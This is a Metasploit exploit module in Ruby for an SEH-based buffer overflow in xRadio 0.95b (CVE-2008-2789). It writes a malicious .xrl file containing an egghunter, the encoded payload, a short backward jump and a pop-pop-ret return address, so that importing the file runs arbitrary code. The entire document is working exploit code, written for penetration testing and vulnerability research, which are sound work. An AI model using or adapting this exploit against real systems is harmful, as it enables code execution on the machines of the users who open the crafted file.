##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'xRadio 0.95b Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in xRadio 0.95b.
          Using the application to import a specially crafted xrl file,
          a buffer overflow occurs allowing arbitrary code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'b0telh0 <me[at]gotgeek.com.br>',
        ],
        'References' => [
          [ 'CVE', '2008-2789' ],
          [ 'BID', '46290' ],
          [ 'EDB', '16141' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => true
        },
        'Platform' => 'win',
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00\x0a\x0d",
          'StackAdjustment' => -3500
        },
        'Targets' => [
          [
            'Windows Universal',
            {
              # pop eax - pop ebx - ret xradio.exe
              'Ret' => 0x0047E282
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-02-08',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [true, 'The file name.', 'msf.xrl'])
      ]
    )
  end

  def exploit
    eggoptions =
      {
        :checksum => true,
        :eggtag => 'w00t'
      }

    hunter, egg = generate_egghunter(payload.encoded, eggoptions)

    buffer = rand_text_alpha_upper(4066 - egg.length)
    buffer << egg
    buffer << make_nops(10)
    buffer << hunter
    buffer << "\xeb\xd8\xff\xff"      # nseh  jmp back 40 bytes
    buffer << [target.ret].pack('V')  # seh

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)
  end
end